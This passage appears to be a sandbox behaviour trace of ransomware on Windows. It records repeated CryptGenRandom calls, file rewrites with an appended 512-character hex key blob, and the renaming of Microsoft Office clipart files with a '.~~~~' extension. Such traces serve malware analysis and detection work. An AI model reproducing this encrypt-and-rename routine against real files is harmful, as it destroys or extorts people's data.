	[0089.997] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.~~~~")) returned 1
	[0089.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.998] GetLastError () returned 0x0
	[0089.998] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.999] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.999] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.999] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20998900242) returned 1
	[0089.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f6b6e50, dwHighDateTime=0x1d60e1e)) 
	[0089.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fe48
	[0089.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fe48 | out: hHeap=0x300000) returned 1
	[0089.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ec10
	[0089.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.999] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.999] GetLastError () returned 0x0
	[0090.000] GetLastError () returned 0x0
	[0090.000] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.000] GetLastError () returned 0x0
	[0090.000] GetLastError () returned 0x0
	[0090.001] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffefbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.001] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1044, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x1044, lpOverlapped=0x0) returned 1
	[0090.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.002] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.002] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.002] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.002] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.002] CloseHandle (hObject=0x128) returned 1
	[0090.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.002] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.~~~~")) returned 1
	[0090.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.003] GetLastError () returned 0x0
	[0090.003] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0090.004] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.004] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.004] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20999405834) returned 1
	[0090.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f6b6e50, dwHighDateTime=0x1d60e1e)) 
	[0090.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac858
	[0090.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac858 | out: hHeap=0x300000) returned 1
	[0090.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d628
	[0090.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.004] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.005] GetLastError () returned 0x0
	[0090.005] GetLastError () returned 0x0
	[0090.005] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.005] GetLastError () returned 0x0
	[0090.005] GetLastError () returned 0x0
	[0090.006] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffcd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.006] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x32c, lpOverlapped=0x0) returned 1
	[0090.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.007] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.007] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.007] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.007] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.007] CloseHandle (hObject=0x128) returned 1
	[0090.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.007] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.~~~~")) returned 1
	[0090.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.008] GetLastError () returned 0x0
	[0090.009] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0090.010] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.010] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.010] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20999980741) returned 1
	[0090.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f6dcfb0, dwHighDateTime=0x1d60e1e)) 
	[0090.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac890
	[0090.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac890 | out: hHeap=0x300000) returned 1
	[0090.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c458
	[0090.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.010] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.010] GetLastError () returned 0x0
	[0090.011] GetLastError () returned 0x0
	[0090.011] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.011] GetLastError () returned 0x0
	[0090.011] GetLastError () returned 0x0
	[0090.014] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffccd2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.014] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x332e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x332e, lpOverlapped=0x0) returned 1
	[0090.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.014] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.014] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.015] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.015] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.015] CloseHandle (hObject=0x128) returned 1
	[0090.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.015] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.~~~~")) returned 1
	[0090.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.016] GetLastError () returned 0x0
	[0090.016] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0090.017] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.017] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.017] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21000686565) returned 1
	[0090.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f6dcfb0, dwHighDateTime=0x1d60e1e)) 
	[0090.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac8c8
	[0090.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac8c8 | out: hHeap=0x300000) returned 1
	[0090.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c588
	[0090.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.017] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.017] GetLastError () returned 0x0
	[0090.018] GetLastError () returned 0x0
	[0090.018] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.018] GetLastError () returned 0x0
	[0090.018] GetLastError () returned 0x0
	[0090.104] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9656, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.104] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x69aa, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x69aa, lpOverlapped=0x0) returned 1
	[0090.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.105] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.105] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.105] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.105] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.105] CloseHandle (hObject=0x128) returned 1
	[0090.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28accf8
	[0090.169] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.~~~~")) returned 1
	[0090.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28accf8 | out: hHeap=0x300000) returned 1
	[0090.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.171] GetLastError () returned 0x0
	[0090.194] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0090.194] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.195] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.195] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21018477609) returned 1
	[0090.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f8a6030, dwHighDateTime=0x1d60e1e)) 
	[0090.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3800b0
	[0090.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3800b0 | out: hHeap=0x300000) returned 1
	[0090.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37f330
	[0090.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.195] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.195] GetLastError () returned 0x0
	[0090.195] GetLastError () returned 0x0
	[0090.195] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.195] GetLastError () returned 0x0
	[0090.196] GetLastError () returned 0x0
	[0090.200] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffa5c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.200] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5a4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x5a4, lpOverlapped=0x0) returned 1
	[0090.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.200] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.200] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.201] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
